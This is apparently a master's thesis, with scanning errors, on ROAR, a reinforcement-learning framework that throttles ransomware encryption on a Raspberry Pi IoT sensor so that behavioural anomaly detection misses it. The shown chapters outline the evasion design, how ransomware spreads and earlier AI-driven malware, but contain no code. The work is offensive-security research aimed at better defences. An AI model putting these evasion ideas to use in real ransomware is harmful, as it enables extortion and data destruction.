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Zusammenfassung

Diese Masterarbeit untersucht die Anwendung von Reinforcement Learning (RL), um die
Auswirkungen von Ransomware auf ein Zielgerét zu verbessern und gleichzeitig dynami-
sche Erkennungsmethoden wie verhaltensbasierte Anomalieerkennung (AE) zu umgehen.
In Anbetracht der stetig wachsenden Zahl verbundener, ressourcenbeschréankter Geréte
und der deutlichen Zunahme von Ransomware-Angriffen in den letzten Jahren liegt die
Bedeutung der Erforschung von Ransomware-Angriffen und entsprechenden Abwehran-
sitzen auf der Hand. Bislang beschriankte sich die Forschung auf die Erforschung unet-
hischer Systeme der kiinstlichen Intelligenz (KI), anstatt die Moglichkeiten von KI zur
Durchfiihrung optimierter Malware-Angriffe zu analysieren.

Diese Masterarbeit deckt die genannten Einschriankungen ab und stellt Ransomware Opti-
mized with Al for Resource-constrained devices (ROAR) vor, ein RL-Framework, welches
Ransomware vor dynamischen Erkennungsmechanismen versteckt und die Verschliisse-
lung des Zielgerits entsprechend optimiert. ROAR wurde in einem realistischen Inter-
net of Things (IoT)-Crowdsensing Szenario eingesetzt, bei dem ein Raspberry Pi 4 als
Spektrum-Sensor agiert. Der Raspberry Pi wurde mit ROAR infiziert, und es wurden
Verhaltensdaten vom Zielgerédt gesammelt, um die Simulation der Umgebung zu erleich-
tern. Die Resultate, die durch die Ausfithrung von Prototypen des RL-Agenten erzielt
wurden, wurden aggregiert, diskutiert und verglichen. Die Ergebnisse deuten darauf hin,
dass kein Zusammenhang zwischen einzelnen Aktionen innerhalb einer Episode besteht
und dass die Diskontierung zukiinftiger Belohnungen die Leistung in diesem spezifischen
RL-Problem nicht verbessert. Letztlich demonstriert diese Masterarbeit, dass einerseits
die Optimierung von Ransomware-Angriffen mit RL machbar ist und andererseits die
daraus resultierenden Umgehungsmoglichkeiten wirksam sind. Die aus den gesammelten
Ergebnissen abgeleiteten Erkenntnisse gelten sowohl in einer simulierten Umgebung als
auch beim Einsatz des Agenten in einem realen Szenario. Soweit in der Literatur beschrie-
ben, ist diese Arbeit die erste, welche die Unterstiitzung von Malware-Angriffen mit RL
wahrend der Angriffsphase untersucht. Weiterfithrende Forschung ist erforderlich, um zu-
sitzliche Optimierungen des RL-Modells, Effizienzverbesserungen der zugrunde liegenden
Ransomware-Implementierung und die Durchfiithrbarkeit von Angriffen auf leistungsfahi-
gere Gerite zu untersuchen.



Abstract

This work aims to investigate the feasibility of exploiting reinforcement learning (RL)
to improve the impact of ransomware on a target device while evading dynamic detec-
tion methods such as behavioral fingerprinting-based anomaly detection (AD). Given the
constantly growing number of connected resource-constrained devices, such as Internet of
Things (IoT) devices, and the significant rise in ransomware attacks over the past years,
the importance of investigating ransomware attacks and corresponding defense approaches
is evident. So far, most related research has been confined to exploring unethical artificial
intelligence (Al) systems instead of analyzing the possibilities of using Al for launching
optimized malware attacks.

This work covers the mentioned limitations and introduces Ransomware Optimized with
AT for Resource-constrained devices (ROAR), an RL framework to hide ransomware from
dynamic detection mechanisms and optimize its impact on the target device. ROAR has
been deployed in a real-world IoT crowdsensing scenario, including a Raspberry Pi 4 as a
spectrum sensor. The Raspberry Pi was infected with ROAR, and behavioral data were
collected from the target device to facilitate environment simulation. The results obtained
by executing prototypes of the RL agent have been aggregated, and the corresponding
plots are discussed and compared. These findings suggest that no relation exists between
individual actions within an episode and that discounting future rewards does not improve
performance in this particular RL problem. Overall, this work demonstrates the feasibility
of optimizing ransomware attacks with RL and the effectiveness of the resulting evasion
capabilities. The findings derived from the collected results hold in a simulated environ-
ment and when the agent is deployed in a real scenario. To our knowledge, this work is
the first to investigate the possibilities of supporting malware attacks with RL during the
attack phase. Further studies are needed to investigate additional optimizations of the
RL model, efficiency improvements to the underlying ransomware implementation, and
the feasibility of attacking more powerful devices.
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Chapter 1

Introduction

Our society witnesses the evolution of an enormous market for Internet of Things (IoT)
devices that is constantly growing. This year, there is an estimated 13.1 billion IoT de-
vices, whereas by 2025, the estimates amount to 19.1 billion devices [1]. IoT devices
fall under the category of resource-constrained devices due to several constraints regard-
ing size, power consumption, and battery life. All of these constraints impact available
resources while limiting resource consumption.

Unfortunately, the vast number of connected devices is a drawback because most require
better security measures. Many IoT device manufacturers initially invested in producing
low-cost sensors and actuators designed for isolated systems (e.g., lighting or surveillance
devices used in home automation), suffering from fewer security threats than openly con-
nected systems. Consequently, these manufacturers lack the cybersecurity expertise to
secure their devices when connected to openly accessible networks properly, leading to a
market full of devices that were never adequately secured during manufacturing or only
in hindsight through respective software updates, if at all possible. At the same time, the
typical end users likewise have insufficient security-related knowledge and fail to imple-
ment basic procedures, such as changing the manufacturer’s default password or checking
and adjusting firewall settings, for example [2].

The resulting open vulnerabilities leave malicious actors free reign to perform their at-
tacks. Therefore, utilizing artificial intelligence (AI) techniques in this cyber war to
improve defense mechanisms is essential: innovative anti-malware solutions exploit the
power of Al to identify new, previously unknown malware samples and to defend against
existing, already known malware [3]. [4] proposed multiple solutions for building proac-
tive and reactive defense mechanisms that leverage Al-based techniques to defend against
malicious cyber activities. Specifically, these solutions apply Al for cyber defenses, effi-
ciently anticipating malware attacks more innovatively and robustly while demonstrating
self-adaption and self-learning capabilities. As a direct consequence of such innovations,
modern anti-malware like machine learning (ML)-based static detection mechanisms en-
sured that outdated malware employing old techniques for obfuscation or packaging have
been rendered ineffective [5].
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Of course, inducing intelligence and self-adaptation also work in the reverse sense when
thinking from an attacker’s perspective. The authors of [6] already stated that efficiently
fighting Al would also require utilizing Al to compete regarding speed, scaling, and scope.
Accordingly, the introduction and broader adoption of novel methods offering learning
capabilities, like genetic algorithms (GAs) [7-9], deep learning (DL) [10,11], reinforcement
learning (RL) [12], or other machine learning (ML) approaches [13,14], not only helped
the industry. They also had undesirable side effects, enabling cybercriminals to enhance
their algorithms and launch even more powerful and more efficient attacks than before [6].

[15] modeled the evolution of malware from the early days around the 1950s until its full
potential in 2020. According to them, “rootkits and ransomware were introduced in the
fourth phase of evolution [between 2005 and 2016], and they are the most dangerous” [15].
Furthermore, ransomware attacks are among today’s IoT devices” most frightening and
powerful attacks [16-18]. With roughly 623 Million reported ransomware attacks in total,
2021 had reached more than twice as many hits as 2020 and more than three times as
many as 2019 [19]. Ransomware is a subtype of malware designed to acquire revenue by
restricting access to the information contained on the infected system through encryption
and demanding payment in some form (usually anonymous and untraceable) to regain
access to the encrypted information [15,20].

Ransomware samples found in the wild are designed to encrypt targets as fast and effi-
ciently as possible with an evergoing strive for improvement, becoming faster with each
new form to reduce the reaction time available to any defense mechanism. Nevertheless, it
is part of the nature of ransomware to have substantial impacts on the target device’s re-
sources. Since encryption is a computationally intense task, the ransomware causes a spike
in CPU utilization, with noticeable side-channel effects such as an increased CPU temper-
ature. Moreover, because every file targeted by the ransomware must be read and written
to at least once, the number of file inputs/outputs (I/Os) drastically increases compared
to regular usage. Consequently, as the behavior of an infected device considerably differs
from the normal device behavior, behavioral device fingerprinting is a promising Al-based
defense mechanism [21]. Again considering an attacker’s perspective, however, if encryp-
tion speed is not essential, integrating behavioral device fingerprinting into the attack
scenario as a form of proactive detection avoidance is a feasible counter-measure against
the exact defense mechanism. Unfortunately, given that typical ransomware is optimized
for speed, no corresponding samples applying this specific technique were found. Even
more so, only a few samples of smart malware support their attacks with Al for offensive
purposes, and none of those that did were using RL techniques.

Where anti-malware software mainly employed Al concepts to identify and classify previ-
ously unknown malware samples, malware used Al to improve its stealth capabilities to
evade detection or deceive their targets [3]. Regarding the exploration of malicious appli-
cations of Al, according to [6], “there is still uncertainty about how to defend against Al
being used as a malicious tool” because existing research has mainly focused on creating
dangerous and unethical Al systems instead of investigating the extent and the possibili-
ties of using AI for launching attacks. Accordingly, there seems to be little related work
regarding known smart ransomware or exploiting Al to improve malware attacks.
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1.1 Description of Work

Security is a very reactive business. To make the world more secure you first
have to make it less secure. To make better AV and signatures, you must first
make better malware. And that’s what we’re doing here.

- Skyler Curtis [22]

As Skyler Curtis, a fellow developer of ransomware and creator of CryptSky [22] (which
later served as the base for Ransomware_PoC [23]), aptly said, one would first have to im-
prove malware attacks and subsequently adjust existing defenses to the new threat level.
Hence, to cover the mentioned limitations of previous research, we present Ransomware
Optimized with Al for Resource-constrained devices (ROAR) [24,25], an RL framework
to hide ransomware from dynamic detection mechanisms and optimize its impact on the
target device. ROAR applies device behavior fingerprinting to proactively avoid detec-
tion of the malware whenever possible and be able to adapt as best as possible to changes
in the environment, e.g., in case of dynamic environments showing variations in nor-
mal device behavior. The fingerprint of the target device in its numeric form is used to
represent the current state of the RL environment. Moreover, ROAR employs anomaly
detection (AD) based on unsupervised ML for the fingerprints to determine positive or
negative rewards in case of hidden or detected behavior, respectively. One ransomware
sample (i.e., Ransomware_PoC [23]) was been selected, and its source code was extended
to make it configurable at runtime. Such configurations include various encryption algo-
rithms, different encryption rate limitations, and several combinations of encryption burst
settings. Furthermore, the sample has been adjusted to embed behavioral fingerprinting
and encryption metric collection.

Rewards presented by the environment are incorporated into the agent’s decision process
by letting it predict which ransomware configurations out of a fixed set of available con-
figurations are most likely to remain undetected while also leading to the fastest possible
encryption. Multiple prototypes have been implemented featuring different RL algorithms
(i.e., Q-learning or SARSA), diverse implementations of the underlying neural network,
variations in reward computation (considering detection and encryption progress, for ex-
ample), and several forms of environment simulation to assimilate the conditions of de-
ployment on a real target device.

ROAR was deployed in a realistic environment, featuring a Raspberry Pi IoT sensor de-
vice and a portable device for the command and control (C&C) server. The optimized
RL agent prototype was evaluated in a simulated and realistic environment regarding its
performance in terms of a) speed and required learning time and b) accuracy of the predic-
tions after training. The results of all developed prototypes regarding achieved accuracy
and required training time are compared and discussed based on the previous evalua-
tions. Then, significant limitations of the framework are discussed, such as fluctuations
in AD for infected behavior or contradicting design goals. Lastly, the main conclusions
are outlined, highlighting that the proposed framework was successfully implemented and
evaluated. Furthermore, the available configurations have been analyzed and the en-
cryption rate limitation has been identified as having the highest impact. Finally, the
importance of employing a near-perfect AD model in training the agent is highlighted,
and the implications of using such a model are discussed.
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1.2 Thesis Outline

Chapter 2 introduces the core concepts this work builds upon. First, it briefly explains
ElectroSense, a spectrum sensing framework, and then introduces ransomware, its im-
portance to the industry, and its variations. Furthermore, the chapter elaborates on
behavioral fingerprinting and highlights its usage in ROAR. Lastly, a high-level introduc-
tion to RL, multiple approaches to solving the RL problem, and the specific variant used
in ROAR are presented.

The analyzed related work is highlighted in Chapter 3. First, three surveys and eight
recent works are compared and categorized regarding the properties of their contributions.
Then, a summary points out their common properties and the gap in the research that
this work addresses.

Chapter 4 elaborates on evaluating, selecting, and extending a suitable ransomware sample
and how the surrounding environment was constructed physically. It follows a description
of the components involved in the environment of the attack scenario presented above,
including one key aspect regarding employing an imitating AD model as part of the RL
environment.

After introducing the environment, Chapter 5 dives into the details of the RL framework
and its different prototypes. The results for each prototype and underlying versions are
briefly discussed after every presented version and evaluated in summary across the entire
prototype at the end of the respective section. Ultimately, the last prototype’s perfor-
mance is evaluated both offline in simulation and online in a real attack scenario. Finally,
with the results of all prototypes now at hand, a comparison of the achieved accuracy and
respective required training time is presented and discussed at the end of the chapter.

Based on the evaluation of the different prototypes, Chapter 6 presents and discusses
the limitations of the results produced by this work. These limitations are essential in
understanding the results of the final prototypes and their respective implications.

Toward the end, Chapter 7 summarizes the presented work and draws the main conclu-
sions. Ultimately, Chapter 8 lists possible future work, such as mitigations of the previ-
ously described limitations, improvements of the presented framework, or other inspiring
approaches to consider.



Chapter 2

Background

This chapter defines essential components of this work and highlights their core concepts.
It first focuses on background knowledge and introduces the ElectroSense framework de-
ployed on our IoT sensor device. Given that this work aimed at empowering ransomware
with Al and using it to infect the sensor mentioned above, it further highlights the differ-
ent types of ransomware and corresponding attacks. Furthermore, the anomaly detection
method of behavioral device fingerprinting is explained, as it is an integral part of the de-
tection evaluation applied in ROAR. Lastly, the chapter points out related work regarding
other Al-powered malware.

2.1 ElectroSense

ElectroSense is a crowdsourcing framework to collect and analyze usage data of the
(global) radio frequency spectrum (RFS). The main devices used in sensing the RFS
are low-cost sensors, such as cheap Raspberry Pi devices with antenna extensions. The
framework’s main goal is to collect, process, and provide the spectrum data of different
regions worldwide to any interested user [26].

As explained in more detail by [26], the ElectroSense architecture consists of three main
components:
1. The sensors deployed by users collecting spectrum measurements;

2. A centralized controller infrastructure to interact with the sensors and to adminis-
trate measurement campaigns;

3. A backend responsible for collecting data from all the sensors and providing insights

by applying algorithms.

In the ElectroSense architecture, a dedicated control layer manages the configured sensors
which, in turn, send their collected spectrum information to the backend for further
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Figure 2.1: ElectroSense Architecture Presented by [26]

processing and distribution. An overview of ElectroSense architecture is provided in
Figure 2.1.

Specifically, the sensors, consisting of low-cost hardware like an embedded Raspberry Pi
and software-defined radio frontends, sample their local RFSs for occupancy. The sensors
periodically send the extracted RFS data to a dedicated ElectroSense backend, where the
information is stored and processed by multiple algorithms for further use [27]. All data
collected and sent by the sensors is encrypted and transmitted using secure transport
layer security (TLS) channels. The backend then provides the processed results to its
users through a RESTful application programming interface (API) that they can access
conveniently over the ElectroSense website or standalone as it is. For use cases where the
website’s usage is insufficient, users can also develop different applications, retrieving and
integrating the desired spectrum information from said public APT [26].

The ElectroSense network also includes the functionality to locate, identify, and manage
sensors remotely. Users can quickly join the network by creating an account and adding
their sensors on the ElectroSense website. Along with the magnitude data of the spectrum,
users can also retrieve information about the sensors that collected it, such as sensor status
and location - which are “visible in a global sensor map once it is registered” [26].

2.2 Ransomware

This section first elaborates on what ransomware is, what such attacks look like, and how
ransomware may spread. Then, a short overview of the different types of ransomware
is presented in Subsection 2.2.2. Finally, Subsection 2.2.3 explains the relevance of ran-
somware attacks to the industry, focusing on IoT devices.

2.2.1 Definition and Attacks

Malware, in general, can be defined as malicious software designed to extract information
without being noticed or to harm a computer by destroying infrastructure. A particular
malware typically can only execute on the specific platform(s) it was designed for due to
hardware and software restrictions imposed by the platform and its architecture [28].
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Ransomware, on the other hand, is a subtype of malware designed to acquire revenue.
Attackers restrict access to the information contained on the infected system through
encryption and demand payment in some form (usually anonymous and untraceable, e.g.,
in Bitcoin) to regain access to the encrypted information [15,20]. Once the ransomware
executes on the system, its malicious code gains privileged access and starts encrypting
files. Consequently, since most programs deem encrypted files unusable, the users cannot
access their data and thus must pay the demanded ransom to acquire the corresponding
decryption key [15,29].

[15] modeled the evolution of malware from the early days around the 1950s until its full
potential in 2020. According to them, “rootkits and ransomware were introduced in the
fourth phase of evolution [between 2005 and 2016], and they are the most dangerous” [15].
Furthermore, ransomware attacks are among today’s IoT devices’ most frightening and
powerful attacks [16-18].

Infecting a device and allowing ransomware to spread is usually caused by direct user
interactions, of which opening attachments in (spam) emails, clicking on malicious links
while browsing or on social media, plugging in untrusted USB sticks, and interacting with
infected business applications belong to the key sources. Out of these sources, careless
interactions with emails and websites while browsing the Internet (e.g., dangerous at-
tachments, malicious links, or social media posts) are the easiest ways for an attacker to
circumvent security measures and infect a system. Apart from such user interactions, ran-
somware may also spread by utilizing exploit kits. Only in a few cases does the attacker
have direct physical access to the device, enabling infection through a USB stick, for ex-
ample [20]. Although the work at hand focuses on IoT devices, typically not used by users
for the purposes mentioned earlier, these sensors are not exempt from the consequences
of careless user interactions. Given that the malware may spread within the network
(so-called “lateral movement”) and reach connected IoT devices, they represent just as
valuable targets with a possibly more extended period until an intrusion is detected.

2.2.2 Types of Ransomware

Ransomware can be subtyped into two main types: locker ransomware and crypto ran-
somware [30-32]. Upon infection, the locker ransomware locks the victim’s device and
prevents its user from accessing the system by restricting access to computing resources.
Although the files on the device remain intact and safe [33-37|, the victim cannot operate
the system unless the demanded ransom is paid, which unlocks the computing resources
to be used again [38,39].

In contrast, crypto ransomware transforms important user files by applying a 24-bit en-
cryption scheme. Encrypting the files is enough to render them unusable for the system
because decryption is almost impossible without the corresponding key [40]. However,
crypto ransomware usually does not encrypt all the files of the affected file system. In-
stead, it compares the files it can find against a predefined list of essential and frequently

used file extensions that are not vital for the system to work and only encrypts matching
files [41,42].
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Out of these two subtypes, crypto ransomware is more destructive [40] as it may destroy
large parts of file systems with potentially disastrous effects. Accordingly, it is also the
more exciting variant and the focus of this work.

2.2.3 Relevance to the Industry

“While IoT malware is still in its infancy, the potential for it to grow exponentially is
alarming. [oT devices are creating new endpoints that are directly connected to a network
and can be targeted by cybercriminals at any time. [...] Malware can target any device
from wearable devices to driver-less cars” [15]. This increase in the variety of available
[oT devices introduces an extensive range of attack vectors and security issues which,
consequently, should be addressed in research and by cybersecurity experts in the field to
devise and implement appropriate prevention techniques [15].

According to the Internet Security Threat Reports published by Symantec [43-45] and the
more recent Cyber Threat Report by Sonic Wall [46], the overall trend for ToT malware
attacks had marked a yearly increase of several hundred percent, roughly five years ago.
Nowadays, although still growing in general, this trend has weakened: the overall number
of ToT malware attacks has since diminished to around 60 Million attacks in 2020 and
2021, marking a yearly increase of 66% and 6%, respectively [19,47].

More specifically than IoT malware, ransomware attacks are becoming more widespread.
Entirely true to their nature, such attacks are causing catastrophic consequences, “includ-
ing loss of sensitive data, loss of productivity, data destruction, and loss of reputation and
business downtime” [20], which overall lead to vast amounts of losses — most prominently
due to the caused downtime [20].

Many companies responsible for producing the vast range of connected devices are min-
imizing their production costs by shipping the devices with only the most basic config-
urations for the users to customize further. Unfortunately, since most of the respective
users lack a basic understanding of cybersecurity and required configuration changes, the
devices in use ultimately have inadequate security features, often including default cre-
dentials that are easily obtainable [48,49]. As a direct response to such insufficient device
security, many well-known malware families, like Mirai or Bashlite, are equipped with
software able to scan for exposed ports and brute force known default credentials to gain
access to target devices [50]. Although said malware does not classify as ransomware,
attackers may use the malware itself or parts of its mechanisms to smuggle ransomware
onto an infected device.

Moreover, current protection mechanisms such as firewalls, innovative intrusion detection
systems (IDSs), or conventional anti-virus solutions typically rely on matching known
(network traffic) patterns or metadata like file signatures. Accordingly, they cannot cor-
rectly detect attacks performed by previously unseen malware [51].
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2.3 Behavioral Fingerprinting

Detecting well-known malware signatures is the main focus of existing static analysis
approaches [21]. Unfortunately, such static (i.e., signature-based) approaches are no longer
effective against previously unseen, encrypted, or slightly varied malware samples [52].
Modern malware uses obfuscation or packaging techniques to alter its signature and avoid
being correctly analyzed, thus remaining undetected [53].

2.3.1 General Aspects

To tackle these challenges, dynamic analysis methods, such as device behavior finger-
printing, have been “identified as one of the most promising solutions” [54] and have
since significantly gained in popularity and efficiency in detecting this new generation of
malware attacks [21,55].

In behavioral fingerprinting, the device behavior is continuously measured and compared,
assuming that an initial baseline of normal, uninfected behavior can be sufficiently dis-
tinguished from infected or otherwise irregular behavior. Accordingly, the underlying
distinction problem is perfect for applying the concepts of ML or DL. The behavior data
collected in the initial phase (the device is confirmed uninfected) is used to build the
baseline dataset to be compared against behavior data collected in the future. Most im-
portantly, this baseline dataset is used to train the ML/DL model: If the model aims to
differentiate between normal and infected device behavior, data collection during normal
behavior is sufficient. If the model should additionally be able to classify infected behavior
and assign it to the corresponding malware (family), then collecting and properly label-
ing behavior data of an infected device is also required. As the last step for testing the
trained model, the device is infected with malware to evaluate the model’s performance
in distinguishing (and assigning) malicious device behavior from normal behavior [21].

Device behavior fingerprinting benefits from the repetitive nature of simple and reduced
functionality of devices [21], especially when considering resource-constrained IoT de-
vices. Nevertheless, the main advantages of using (dynamic) behavior-based detection
approaches over static detection approaches lie in understanding that altering the signa-
ture of malware by interchanging instruction sequences will not influence its functionality.
The behavior it exhibits will remain mostly the same. Therefore, behavioral fingerprinting
can not only detect previously unseen malware or different variations of already known
malware [56] but is also effective against obfuscation or polymorphism it may employ.
Nonetheless, although effective against most obfuscation techniques, behavior-based de-
tection approaches cannot resist all of them simultaneously [53].

2.3.2 Scenarios and Sources

From the perspective of different application scenarios in which device behavior finger-
printing can be considered helpful, among the most fitting scenarios are device identifica-
tion and misbehavior detection. In device identification, behavioral data is used to identify
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the device it was collected on and its respective characteristics. This identification can
be rather generic, determining the device type or model or, more specifically, identifying
the individual device in detail. On the other hand, misbehavior detection (also called
AD) is based on normal device behavior and identifying anomalous changes therein. For
example, it may revolve around identifying ongoing attacks (anomalies in behavior caused
by cyber threats) or undesired behavior in the form of malfunctions or faults (caused by
failing components or services) [54].

Apart from the reasons for using device behavior fingerprinting, it is also essential to
understand the different behavioral data sources. Fortunately, this differentiation is quite
simple: the data can be collected from external sources, like network communications,
emitted electromagnetic signals of the device measured on the outside, or clock skew
(slight variations of internal clock counters when compared across multiple devices). Al-
ternatively, one could gather behavioral data directly from the involved device (so-called
“in-device sources”). This method allows collecting lower-level data like hardware perfor-
mance counters (HPC) (hardware-related event counters), current resource usage (e.g.,
CPU, memory, file system), information on running software and processes (including
related system calls), or feedback from connected sensors and actuators [54]. Out of these
sources, HPC, resource usage, and system calls “are widely used to create behavioral
fingerprints and detect cyberattacks affecting different devices” [57].

This work used in-device behavioral fingerprinting for misbehavior detection based on re-
source usage and hardware performance counters of selected kernel events. Various kernel
events belonging to several device behavior families are queried to ensure broad coverage
of different possible impacts of ransomware on the device behavior. The details of the
sampling process are described in Section 4.3, where Figure 4.2 shows the composition of
features for the resulting device behavioral fingerprint. The specific feature selection being
applied varies between prototype versions as it is part of the AD model and fingerprint
preprocessing.

2.4 Reinforcement Learning

Reinforcement learning (RL) is an ML paradigm separate from supervised and unsuper-
vised learning and based on the theory of animal learning. An RL model consists of an
agent interacting with its environment in a sequence of turns to achieve a predefined goal
and a reward system to incentivize desired actions leading towards said goal or punish
disadvantageous behavior. If the interactions between the agent and its environment can
be divided into subsequences and the notion of a terminal state exists, these subsequences
are called episodes. However, the vital aspect of these interactions is that the agent has no
direct control over the environment but can only indirectly influence it through a given set
of actions. Accordingly, if the agent cannot arbitrarily change something, it is considered
outside of the agent and part of the environment [12]. Hence, the environment includes —
among other things — the set of all possible states of the environment, all actions the agent
may ever choose from, all computable rewards, and all possible combinations thereof.
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Figure 2.2: Interactions Between the Agent and its Environment in a RL Model [12]
2.4.1 Agent Interactions

As pictured in Figure 2.2, for every step ¢, the current observable state s; of the environ-
ment is presented to the agent in some numeric form, and the agent must choose an action
a; out of the set of available actions A based on a policy 7(als;). The policy maps states
to possibilities of selecting every available action in that state. In response to the chosen
action, the environment produces a numerical reward r; and may also change, presenting
a new state s; ;1. Finally, both the reward and the new state are fed back to the agent for
it to learn from its previous action. The agent learns by slightly adjusting the policy and
choosing the optimal action in the new state based on the new policy m(a|si+1). Given
that the agent initially may not know its environment, it will learn through an iterative
trade-off between exploration (i.e., choosing a random action to discover new states) and
exploitation (i.e., choosing the optimal action to close in on the goal). To be more precise,
the agent must decide whether to exploit the environment by choosing the action that
generates the highest reward it knows about so far or to choose a random action and
explore still unknown parts of the environment [12,58]. “The dilemma is that neither
exploration nor exploitation can be pursued exclusively without failing at the task” [12].

This sequence is repeated many times until a target state is reached after a long series
of actions. Specifically, the “goal of the agent is to derive a policy that maximizes the
expected return” [58].

2.4.2 Applying Temporal Difference Learning

To understand what follows, it is necessary to briefly introduce the Monte Carlo methods,
Markov decision processes (MDPs), and dynamic programming (DP). However, these
topics are not explained in-depth and are mostly only touched upon to derive critical
aspects relevant to temporal-difference (TD) learning.

Monte Carlo methods try to solve the RL problem based on averaging sample returns
without knowing the environment completely. They require only experience-sample se-
quences of states, actions, and rewards from actual or simulated interactions with the
environment. As such, learning from the actual interactions with the environment may
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be preferred as no prior knowledge of the environment’s inner dynamics is required. Mean-
while, learning from a simulation based on recorded interactions with the environment is
also powerful. However, it is more static because the available data will remain the same.
Furthermore, although learning from a simulated experience requires a model of the envi-
ronment, this model does not need to provide the complete probability distributions of all
state-action transitions — as would be required for DP — but only needs to generate valid
transition samples. The sequences of generated transitions are assumed to be divided
into episodes. All episodes are assumed to terminate eventually, no matter the sequence
of actions taken. Essential to Monte Carlo methods is that the return provided by the
environment for taking an action in a particular state depends on the actions taken in
future states of the same episode. Moreover, the value estimates and policies are only
updated on the completion of an episode, implying that Monte Carlo methods can not be
incremental in a step-by-step sense but only in an episode-by-episode sense [12].

MDPs encompass formalized sequential decision-making in which selected actions influ-
ence immediate rewards as well as subsequent states and, through those states, any future
rewards that may follow. Accordingly, the decision-making process includes trading off
immediate and delayed rewards. Lastly, DP refers to ways of computing optimal poli-
cies as an MDP given a perfect model of the environment. Unfortunately, the usefulness
of classic forms of DP algorithms is limited when applied to RL problems because they
require a perfect model of the environment — which in most cases is not available — and
usually come at significant computational costs [12].

The techniques this work uses are known as TD learning, a combination of the ideas
used in Monte Carlo methods and DP. TD methods learn from experience while not
requiring a (complete) model of the environment, much like Monte Carlo methods. Also,
TD methods are similar to DP in that they can bootstrap, i.e., their estimates are partially
based on other learned estimates and updated after every step, without having to wait
for an outcome at the end of the episode (as would be the case in Monte Carlo methods).
Therefore, TD learning forms a target already at time ¢ + 1 and makes a helpful update
using the observed reward Ry and the value estimate V(Siy1). In their simplest form,
TD methods immediately update when transitioning from state S; to S;y; and receiving
the reward R;.q, as is shown in Equation 2.1. Contrary to Monte Carlo methods, where
the target of the update is the actual return G; following time ¢, in TD methods, the
target of the update is Ryy1 + v V(Si11) [12].

V(S,) « V(S,) +a [Rm 4y V(Sea1) — V(S (2.1)

Contained within the target of the TD update is 7, a parameter related to the concept
of discounting. In discounting, the agent tries to select actions to maximize the sum of
the discounted rewards it receives over the future. In particular, it chooses the action at
time step ¢t to maximize the expected cumulative future discounted return according to
Equation 2.2, where G; denotes the expected discounted return and ~ € [0, 1] is called the
discount rate, or discount factor.
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Gi=Ripn +7Riypo + YRz + -+ - = Z Vth+k+1 (2.2)
k=0

Setting the discount factor determines the present value of rewards received in the future.
For example, with v = 0, the agent does not care about the future and is only concerned
with maximizing rewards received immediately. On the other hand, with v nearing the
value of 1, the agent becomes increasingly farsighted and considers future rewards more
heavily [12].

In combination with rewards received on a per-step basis, discounted rewards that are
many steps in the future are discounted more heavily and thus less valuable right now
than rewards received earlier. Discounting rewards should have the effect that the agent
learns to favor a bonus reward received for full encryption in a smaller number of steps
and, therefore, prefers faster target encryption, resulting in fewer steps.
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Chapter 3

Related Work

In this research, which considers similar approaches or usages of other Al-powered mal-
ware, only a few papers that focus on the attack perspective were found — in contrast to
many that discuss diverse aspects of possible defense strategies. A literature search on
Google Scholar! was conducted by searching for the four terms “malware AIL” “malware
ML,” “malware DL,” and “malware RL.” Out of the results returned by the search engine,
followed by snowballing interesting references, three survey papers and nine malware sam-
ples were filtered out and selected as related work.

The following sections present an overview of the research field on malware employing
Al for different ways of optimization. They first discuss the findings of three surveys
published over the past years before highlighting a few selected examples of Al-driven
malware. While the first survey is from way back in 2008 [3], two more recent surveys
from 2019 [59] and 2020 [6] provide an updated view of the usage of Al in malware attacks.

3.1 Surveys

In 2008, [3] already documented that AI was vital in the battle between our digital so-
ciety and malicious attacks. They further stated that “both malware and anti-malware
have used artificial intelligence technologies or have exhibited noticeable intelligent be-
haviours” [3] at the time. Where malware used Al to improve its stealth capabilities to
evade detection, anti-malware software mainly employed Al concepts to identify and clas-
sify previously unknown malware samples. Examples of such intelligent malware included
Zellome [60] and CyberLover [61].

Zellome was a computer worm with a polymorphic engine that would spread via e-mail.
The worm itself arrives in encoded form and requires decoding before being able to execute.
Specifically, Zellome uses a GA to generate an appropriate decryption function from
scratch without proper sanitization or population generation restrictions, resulting in an
inefficient generation and evaluation of clearly unfit specimens. Overall, this specific

https://scholar.google.com
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malware combined multiple interesting features or ideas of previous smart malware, but
it contained several issues in the code and could have been better implemented [60].

CyberLover was rather a devious chatbot than a malicious piece of software aiming to
cause damage. Specifically, it was spread across various online dating sites, pretending
to be a fellow participant in the quest for romance while trying to extract as much per-
sonal information from its victims as possible; It would extract information that could
potentially later be used for malicious intents. Although it was not necessarily a malware
sample like others presented in this work, its application of Al techniques to successfully
fool victims into thinking they were talking to a human being was quite impressive and
sparked according debates online [62-64].

More recently, [59] was presented in 2019 and focuses on various applications of Al con-
cepts and techniques in malware attacks. Among others, the authors listed evasion tech-
niques employed by intelligent malware, such as dodging sandbox detection (which is not
ML-based), using data from previous attacks, or generating new malware variations (e.g.,
altering or entirely rewriting code structure on every execution).

Apart from evasion, they also referred to other research investigating various promising ap-
proaches for evolutionary malware frameworks, i.e., malware employing GAs for dynamic
optimization [7,65-67]. Alternatively, ML techniques could be used to autonomously
predict exploitable vulnerabilities and create self-evolving botnets [68,69]. In addition,
other related approaches would be self-organizing migration algorithms [70,71] or swarm
algorithms like ant colony optimization [72], as well as particle swarm optimization [73,74].

Lastly, [6] was published in 2020. Within the past decade, Al has taken significant steps
forward. It can now roughly be separated into rule-based (static) and data-oriented
(dynamic) techniques, i.e., ML-based. The introduction and broader adoption of self-
learning AI techniques not only helped the industry: dynamic learning and self-adaption
capabilities enabled cybercriminals to enhance their algorithms and launch even more
powerful attacks than before. Although this evolution started several years ago and the
research on topics in the field of AI made much progress, “there is still uncertainty about
how to defend against Al being used as a malicious tool” [6].

According to [6], existing research has mainly focused on creating dangerous and uneth-
ical Al systems instead of investigating the extent and the possibilities of using Al for
launching attacks. Moreover, the little research that focused on offensive purposes fol-
lowed individual research goals instead of providing an overview of the current state in
the field, making [6] the first survey to broadly examine such aggressive applications of
Al technologies, at least as they described it. In their work, they found and classified
11 malware samples into five categories: from the more social perspective, there are the
categories of voice synthesis, social bots, and password-based attacks, whereas, from a
rather technical side, the categories of adversarial training and next-generation malware
were used — examples of which are listed below, such as DeepLocker [75].
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3.2 Intelligent Malware Samples

[58] proposed an RL framework designed explicitly for black-box attacks against static
anti-malware engines for portable execution (PE) files. They used four sets of randomly
selected malware samples as seeds for training four respective agents to learn which op-
erations sequence most likely results in evading a given ML-based malware detector. The
authors chose a gradient-boosted decision tree model for a malware detector trained on
100’000 instances of benign and malicious data samples. The goal of the attack frame-
work was to use RL techniques to attack and evade said decision tree model. Using their
RL framework, an attacker does not require knowledge about the target module under
